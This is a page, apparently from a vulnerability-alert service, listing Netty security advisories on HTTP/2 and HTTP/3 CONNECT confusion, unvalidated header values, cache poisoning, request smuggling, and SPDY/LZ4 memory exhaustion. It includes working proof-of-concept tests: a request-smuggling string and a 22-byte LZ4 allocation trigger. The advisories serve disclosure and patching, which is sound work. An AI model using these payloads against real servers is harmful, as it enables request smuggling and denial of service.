A public GitHub Security Advisory (GHSA-w6j8-x45j-w75f) describes the following issue:

Summary

Netty's HTTP/2 and HTTP/3 HTTP-object conversion paths collapse Extended CONNECT requests into ordinary HTTP/1.1 CONNECT requests.

An Extended CONNECT request such as:

text :method: CONNECT :protocol: websocket :scheme: https :path: /admin/ws :authority: ws.example:443

is converted to an HTTP/1.1 object shaped like:

text CONNECT ws.example:443 HTTP/1.1 host: ws.example:443 x-http2-scheme: https

or, for HTTP/3:

text CONNECT ws.example:443 HTTP/1.1 host: ws.example:443 x-http3-scheme: https

The converted request no longer carries the :protocol value or the Extended-CONNECT :path. A downstream handler using Netty's HTTP-object API therefore cannot distinguish this request from a regular CONNECT tunnel to ws.example:443.

That is a semantic security boundary. RFC 8441 defines Extended CONNECT as a different CONNECT mode: the :protocol pseudo-header selects the protocol for the stream, :path remains part of the target URI, and the server must not treat :authority as the host to tunnel to in the same way it would for a regular CONNECT request. RFC 9220 applies the same pseudo-header and setting semantics to HTTP/3.

Technical Details

HTTP/2:

- codec-http2/.../HttpConversionUtil.java:272-280 uses :authority as the HTTP/1 request URI for every CONNECT request. - codec-http2/.../HttpConversionUtil.java:328-337 creates a DefaultHttpRequest with that URI, then translates headers. - codec-http2/.../HttpConversionUtil.java:806-813 maps :authority to Host and :scheme to x-http2-scheme, but does not preserve request :path; unrecognized pseudo-headers such as :protocol are dropped.

HTTP/3:

- codec-http3/.../Http3HeadersSink.java:79-94 recognizes Extended CONNECT and requires :method, :scheme, :authority, :path, and :protocol. - codec-http3/.../HttpConversionUtil.java:201-209 uses :authority as the HTTP/1 request URI for every CONNECT request. - codec-http3/.../HttpConversionUtil.java:259-268 creates a DefaultHttpRequest with that URI, then translates headers. - codec-http3/.../HttpConversionUtil.java:578-585 maps :authority to Host and :scheme to x-http3-scheme, but does not preserve request :path; :protocol is dropped as a pseudo-header.

The resulting object-level shape is security-relevant because applications and gateway integrations commonly authorize CONNECT differently from WebSocket, WebTransport, MASQUE, or other Extended CONNECT protocols. With Netty's conversion path, a policy that permits regular CONNECT to an allowlisted authority can be applied to an Extended CONNECT request whose actual protocol and path were erased before application code sees it.

Impact

A remote HTTP/2 or HTTP/3 client can send an Extended CONNECT request that Netty presents to downstream HTTP-object handlers as a regular CONNECT tunnel.

In gateway, proxy, application-server, or protocol-bridging deployments that use Netty's HTTP-object conversion path, this can bypass routing or authorization logic that is meant to distinguish:

- regular CONNECT tunnels from WebSocket/WebTransport/MASQUE-style Extended CONNECT streams; - allowed CONNECT authorities from protected Extended-CONNECT paths; - enabled/registered Extended CONNECT protocols from ordinary CONNECT traffic.

This report does not claim memory corruption, code execution, confidentiality impact, or impact on applications that never route HTTP/2 or HTTP/3 requests through Netty's HTTP-object adapters. The demonstrated impact is integrity loss through protocol-state confusion before application policy runs.

Suggested Fix

Recommended fix direction:

- do not convert Extended CONNECT into an ordinary HTTP/1 CONNECT object without preserving the Extended-CONNECT state; - either reject Extended CONNECT in HttpConversionUtil.toHttpRequest(...) unless Netty can expose the state safely, or preserve it with explicit extension headers such as x-http2-protocol / x-http3-protocol and x-http2-path / x-http3-path for request conversion; - keep regular CONNECT behavior unchanged; - add regression tests covering direct conversion and the frame-to-object adapters for both HTTP/2 and HTTP/3; - add controls proving regular CONNECT and Extended CONNECT no longer produce the same HTTP-object shape.

If maintainers prefer not to support Extended CONNECT through the HTTP-object API, the safest fix is to fail closed and require users to handle it at the native HTTP/2 or HTTP/3 frame/header layer.

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 8441, Extended CONNECT: https://datatracker.ietf.org/doc/html/rfc8441#section-4 - RFC 9220, WebSockets over HTTP/3: https://datatracker.ietf.org/doc/html/rfc9220#section-3 - RFC 9113, HTTP/2 request pseudo-header fields: https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1 - RFC 9114, HTTP/3 request pseudo-header fields and CONNECT: https://datatracker.ietf.org/doc/html/rfc9114#section-4.3.1 - Go HTTP/2 Extended CONNECT implementation note requiring negotiation before use: https://go.dev/src/net/http/h2bundle.go - Go issue discussing Extended CONNECT API concerns: https://github.com/golang/go/issues/27244

Affected Products

- io.netty:netty-codec-http2 - io.netty:netty-codec-http3

Confirmed affected:

- current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e - netty-4.2.15.Final at a41f7b289ce1d697c50846f3ade3983e22b2ed40 - netty-4.2.2.Final at 660edeaefa for HTTP/2 - netty-4.2.0.Final at 09e64d259c99 for HTTP/2 - netty-4.1.135.Final at f05f765d81460799c53123a207f665bf3b465171 for HTTP/2

Suggested affected ranges:

- io.netty:netty-codec-http2 >= 4.1.64.Final, <= 4.1.135.Final - io.netty:netty-codec-http2 >= 4.2.0.Final, <= 4.2.15.Final - io.netty:netty-codec-http3 >= 4.2.8.Final, <= 4.2.15.Final

The HTTP/2 lower

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.1.64.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http3 affected >= 4.2.8.Final, <= 4.2.15.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-w6j8-x45j-w75f

First published (updated )
Severity
4

HTTP/2 header field values are not validated by default (CR/LF/NUL passthrough)

A public GitHub Security Advisory (GHSA-8whp-c7w8-2m72) describes the following issue:

Summary

Netty's HTTP/2 stack does not validate header field values by default. Genuine prohibited octets — NUL (0x00), LF (0x0A), CR (0x0D) — can be set in an HTTP/2 header value and are carried verbatim to the wire (outbound) and into decoded headers (inbound). This violates RFC 9113 §8.2.1 and becomes an exploitable request-smuggling / header- injection / response-splitting vector at an HTTP/2 ↔ HTTP/1.1 translation boundary.

This report deliberately reframes an earlier report that blamed io.netty.util.AsciiString.c2b(char). c2b is not the problem — see "Non-issue: c2b" below. The real gap is the absence of field-value validation in the HTTP/2 header layer.

Impact

- Severity: depends on deployment. Low on a pure end-to-end HTTP/2 hop (HPACK is length-prefixed, so embedded CR/LF do not split fields on the H2 wire). - Elevated to request smuggling / response splitting whenever a value crosses into HTTP/1.1 (proxy / gateway / adapter) where CR/LF/COLON are delimiters. - RFC 9113 §8.2.1: "Failure to validate fields can be exploited for request smuggling attacks. ... A field value MUST NOT contain the zero value (ASCII NUL, 0x00), line feed (ASCII LF, 0x0a), or carriage return (ASCII CR, 0x0d) at any position." Such messages MUST be treated as malformed, and non-tunnelling intermediaries MUST NOT forward fields containing these octets. RFC 7540 §10.3 has equivalent language.

Root cause: value validation is opt-in and off by default

Header names are validated by default and are not affected: DefaultHttp2Headers HTTP2NAMEVALIDATOR (active when validate=true, the default) runs HttpHeaderValidationUtil.validateToken, which rejects control chars, SP, uppercase, non-ASCII, and (for CharSequence) any char > 0xFF.

Header values are only checked by an opt-in validator that is disabled by default:

- DefaultHttp2Headers() and DefaultHttp2Headers(boolean) install ValueValidator.NOVALIDATION. - Only DefaultHttp2Headers(boolean validate, boolean validateValues, int) installs the real VALUEVALIDATOR (which calls HttpHeaderValidationUtil.validateValidHeaderValue, correctly rejecting < 0x20 except HTAB, and 0x7F — i.e. CR/LF/NUL). - DefaultHttp2HeadersDecoder defaults validateHeaderValues = false. - No public builder exposes value validation. Http2FrameCodecBuilder / AbstractHttp2ConnectionHandlerBuilder.validateHeaders (default true) is wired only to the decoder's name validator, never to value validation and never to the encoder.

The outbound encode path performs no value validation at any stage:

Http2FrameCodec.writeHeadersFrame -> DefaultHttp2ConnectionEncoder.writeHeaders0 (validateHeadersSentState: stream lifecycle only) -> DefaultHttp2FrameWriter.writeHeadersInternal (stream id / padding / weight only) -> DefaultHttp2HeadersEncoder / HpackEncoder.encodeHeaders (serializes as-is)

Because CR (0x0D), LF (0x0A), and NUL (0x00) are all ≤ 255, they survive the char→byte conversion unchanged and are emitted verbatim.

Where it becomes exploitable (H2 → H1.1 translation)

HttpConversionUtil.translateHeaders() copies values with raw output.add(name, value) and performs no CR/LF scan of its own. Whether the prohibited octets are caught depends entirely on whether the destination HTTP/1.1 HttpHeaders has value validation enabled:

- Http2StreamFrameToHttpObjectCodec(boolean isServer) defaults validateHeaders=true → the resulting HTTP/1.1 headers use DEFAULTVALUEVALIDATOR → protected. - InboundHttp2ToHttpAdapter takes validateHttpHeaders from its builder. If set false, an HTTP/2 value containing CR+LF flows verbatim into the HTTP/1.1 message, enabling header injection / request smuggling / response splitting.

Non-issue: AsciiString.c2b() is a clamp, not a security boundary

java private static final char MAXCHARVALUE = 255; public static byte c2b(char c) { return (byte) ((c > MAXCHARVALUE) ? '?' : c); }

The earlier report proposed changing c2b. That is misdirected:

1. C1 control passthrough (0x80–0x9F) is spec-compliant. These octets are obs-text (%x80–FF), valid in field values. HPACK is length-prefixed, so they are never delimiters on the HTTP/2 wire. No action needed. 2. The > 255 → '?' replacement is protective, not harmful. It prevents the "ghost bits" truncation attack: were c2b to truncate raw (as the private, unreachable c2b0 does), \u010A (266) would become 0x0A (LF) and \u010D (269) would become 0x0D (CR) on the wire — actual injection. The clamp closes that hole. The proposed "reject C1 in c2b" change adds no security and would break obs-text. 3. The silent ? substitution of > 255 chars is at most a correctness/interop concern (application String vs. wire bytes mismatch); it makes values safer, not more dangerous, and is not a vulnerability.

Fixing c2b neither addresses the real gap nor is necessary. The fix belongs in the HTTP/2 header layer.

Affected code

- io.netty.handler.codec.http2.DefaultHttp2Headers — value validator off in the common constructors. - io.netty.handler.codec.http2.DefaultHttp2HeadersDecoder — validateHeaderValues defaults to false. - io.netty.handler.codec.http2.Http2FrameCodecBuilder / AbstractHttp2ConnectionHandlerBuilder — no way to enable value validation; the validateHeaders flag reaches only the decoder's name check. - Outbound: DefaultHttp2ConnectionEncoder, DefaultHttp2FrameWriter, HpackEncoder — no value validation on encode. - Translation: HttpConversionUtil.translateHeaders, InboundHttp2ToHttpAdapter (when validateHttpHeaders=false).

Suggested fix

1. Validate HTTP/2 field values against RFC 9113 §8.2.1 — reject NUL (0x00), LF (0x0A), CR (0x0D) at any position (the logic alread

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8whp-c7w8-2m72

First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary Netty's CorsHandler silently overwrites existing Vary headers, enabling cache poisoning and sensitive information disclosure.

Details io.netty.handler.codec.http.cors.CorsHandler#setVaryHeader overwrites any existing Vary headers set by backend applications.

java private static void setVaryHeader(final HttpResponse response) { response.headers().set(HttpHeaderNames.VARY, HttpHeaderNames.ORIGIN); }

Because set() replaces all existing values for the header, if a backend application sets a Vary header (such as Vary: Authorization or Vary: Cookie) to ensure that intermediate caches (like CDNs) cache responses separately per user, the CorsHandler will overwrite it with Vary: origin. This causes the caching proxy to ignore the authorization context and cache the response based solely on the URL and Origin, allowing an attacker to retrieve another user's cached sensitive data.

Impact This is a Cache Poisoning vulnerability that leads to Information Disclosure. It impacts any Netty-based web application that uses the CorsHandler, sets its own Vary headers to manage caching of authenticated or user-specific responses (e.g., Vary: Authorization), and is deployed behind a caching proxy or CDN. The end-users of these applications are impacted, as their sensitive data may be leaked to unauthorized actors.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.51%
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

A flaw was found in Netty's netty-codec-http component. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP/1.1 chunk-size token that includes post-digit whitespace. This incorrect parsing of the chunk size can lead to HTTP request smuggling. This allows an attacker to bypass security controls or access unauthorized resources in proxy/backend deployments.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
EPSS
0.34%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

A flaw was found in Netty's HTTP/1.1 decoder. This vulnerability allows a remote attacker to bypass Transfer-Encoding header validation by splitting the Transfer-Encoding field across multiple headers, with the last field containing a non-final transfer coding like gzip or deflate. This bypass can lead to HTTP request smuggling, enabling attackers to bypass security controls, desynchronize request processing, or cause requests to be processed in an unintended context.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Last updated 24 July 2024

1 / 3
Source: Ubuntu
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE-2021-21290 contains an incomplete fix, and this addresses the issue found in netty. When using multipart decoders in netty, local information disclosure can occur via the local system temporary directory if temporary storing of uploads on the disk is enabled.

1 / 5
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in codec-haproxy from the Netty project. This flaw allows an attacker to build a malformed crafted message and cause infinite recursion, causing stack exhaustion and leading to a denial of service (DoS).

1 / 5
First published (updated )
Severity
5.3
EPSS
1.38%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors

Details 1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list. 2. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, this field can cumulate data without limits

PoC

Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder

Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3

Impact Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.

1 / 4
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);

ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } });

ChannelFuture serverChannel = server.bind(0).sync();

Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGICNUMBER); buf.writeByte(BLOCKTYPECOMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0);

ctx.writeAndFlush(buf);

ctx.fireChannelActive(); } });

ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

assertTrue(latch.await(10, TimeUnit.SECONDS));

assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } }

Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.

Details Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.

PoC poc.zip

run with bash bash ./poc/run.sh

expected output: text NETTYSPDYSETTINGSCOUNTMAPTRIGGERED settingscount=262144 wirebytes=2097164 approxheapdelta=17692272 firstvalue=1 lastvalue=262144

The NETTYSPDYSETTINGSCOUNTMAPTRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wirebytes=2097164, firstvalue=1, and lastvalue=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.

Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wirebytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.

PoC poc.zip

run with: bash bash ./poc/run.sh expected output: text NETTYSPDYZLIBDECODEDAFTERLIMITTRIGGERED compressedbytes=12253 declarednamelength=12582912 maxheadersize=16 truncated=true invalid=false

The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.

Impact A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches ENDHEADERBLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYNSTREAM frame with FLAGFIN=0 and stores the partially constructed FullHttpRequest in messageMap; when the remote peer sends RSTSTREAM for that stream or the accumulated content exceeds maxContentLength, the decoder removes the entry but does not release the pooled ByteBuf, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203